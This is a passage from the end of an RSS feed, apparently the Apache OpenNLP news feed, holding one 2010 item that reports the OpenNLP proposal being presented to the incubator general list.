      <link>https://opennlp.apache.org/news/news-2010-11-18.html</link>
      <pubDate>Thu, 18 Nov 2010 00:00:00 +0000</pubDate>
      <guid isPermaLink="false">news/news-2010-11-18.html</guid>
      	<description>
	&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;OpenNLP Proposal presented to general list for incubator.&lt;/p&gt;
&lt;/div&gt;
	</description>
    </item>

  </channel> 
</rss>
